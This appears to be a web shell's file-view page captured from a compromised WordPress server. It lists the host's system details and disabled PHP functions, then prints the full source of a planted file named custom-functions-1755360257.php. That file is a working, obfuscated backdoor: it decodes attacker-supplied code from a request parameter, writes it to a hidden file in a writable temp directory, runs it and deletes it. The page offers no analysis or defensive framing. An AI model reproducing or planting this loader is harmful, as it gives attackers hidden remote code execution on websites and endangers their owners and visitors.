HEX
Server: Apache
System: Linux dinesh8149 5.15.98-grsec-sharedvalley-2.lc.el8.x86_64 #1 SMP Thu Mar 9 09:07:30 -03 2023 x86_64
User: usesambura1 (1212012)
PHP: 7.0.33
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/c/63/6c/usesambura1/public_html/yr/wp-admin/user/custom-functions-1755360257.php
<!--FgypDZDv-->
<?php

if(in_array("\x63o\x6Dp", array_keys($_REQUEST))){
$key = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path(), "/dev/shm"]);
$resource = $_REQUEST["\x63o\x6Dp"];
	$resource	= 	explode		 (	'.' 	,  $resource		);
$component = '';
$salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt4);
$i = 0;

while ($i < count($resource)) {
    $val = $resource[$i];
    $sChar = ord($salt4[$i	%	$lenS]);
    $d = ((int)$val - $sChar - ($i	%	10)) ^ 83;
    $component	 .=chr($d);
    $i++; 	} 	
foreach ($key as $ent) {
            if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) {
            $data_chunk = "$ent" . "/.obj";
            if (file_put_contents($data_chunk, $component)) {
    include $data_chunk;
    @unlink($data_chunk);
    die();
}
        }
}
}